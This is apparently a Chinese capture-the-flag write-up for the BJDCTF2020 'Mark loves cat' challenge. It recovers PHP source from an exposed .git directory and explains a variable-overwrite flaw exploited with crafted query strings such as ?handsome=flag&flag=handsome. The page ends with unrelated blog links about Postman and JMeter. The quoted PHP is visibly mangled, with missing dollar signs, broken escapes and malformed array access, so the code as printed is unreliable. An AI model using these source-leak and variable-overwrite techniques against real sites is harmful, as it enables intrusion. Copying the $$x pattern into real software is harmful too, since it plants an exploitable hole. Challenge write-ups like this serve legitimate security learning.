[BJDCTF2020]Mark loves cat1

打开题目

发现这么多链接,以为要一点点去找功能上的漏洞。当你源代码,dirsearch,抓包等等操作之后,发现什么都没有。所以这题又是一道源码泄露题,上GItHack。扫描结果如下

http://63f29a80-e08b-43ae-a6d0-8e70fb02eaa3.node5.buuoj.cn:81/.git

主要代码在index里面

<?php

include 'flag.php';

$yds = "dog";

$is = "cat";

$handsome = 'yds';

foreach(_POST as x => $y){

$$x = y; //flag=1

}

foreach(_GET as x => $y){

x = y;

}

foreach(_GET as x => $y){

if(_GET\['flag'\] === x && $x !== 'flag'){

exit($handsome);

}

}

if(!isset(_GET\['flag'\]) \&\& !isset(_POST'flag')){

exit($yds);

}

if(_POST\['flag'\] === 'flag' \|\| _GET'flag' === 'flag'){

exit($is);

}

echo "the flag is: ".$flag;

根据源代码,需要通过get传参达到变量覆盖的目的。

?yds=flag

覆盖is变量

if(_POST\['flag'\] === 'flag' \|\| _GET'flag' === 'flag'){

exit($is);

}

Get或Post传入flag=flag,触发变量覆盖代码

foreach(_POST as x => $y){

$$x = y; //flag=1

}

foreach(_GET as x => $y){

x = y;

}

输出?is=flag&flag=flag

再覆盖覆盖handsome变量

handsome=flag,得到handsome=flag

?handsome=flag&flag=handsome

可以得到flag

相关推荐
Madison-No712 小时前
多语言聊天大模型--测试报告
linux·git·python·selenium·jmeter·自动化·postman
ysu_03148 天前
Postman接口调试实战指南-从HTTP请求到环境变量-Collection与自动化测试
网络·网络协议·测试工具·http·api·postman·可用性测试
开开心心_Every10 天前
文件夹批量创建工具支持同级和多层级
运维·服务器·游戏·jupyter·智能手机·pdf·postman
花间相见20 天前
【计算基础|网络04】—— HTTP接口实战(下):接口测试、鉴权与跨域排错
java·linux·人工智能·后端·python·计算机网络·postman
Madison-No722 天前
基于JMeter工具的性能测试(接口)
python·jmeter·postman
Joyce_xiaobaibai25 天前
windows+Postman Newman+接口巡检
postman
Tinyfacture1 个月前
postman抓取登录鉴权码token及设置全局变量
测试工具·postman
川石课堂软件测试1 个月前
涨薪技术|Prometheus之HTTP API中使用PromQL
网络协议·测试工具·jmeter·http·单元测试·postman·prometheus
x10n91 个月前
Postman 汉化完整指南
测试工具·lua·postman
AI情绪识别开源1 个月前
检信 Allemotion 认知功能障碍矫正软件· 数据方案
人工智能·postman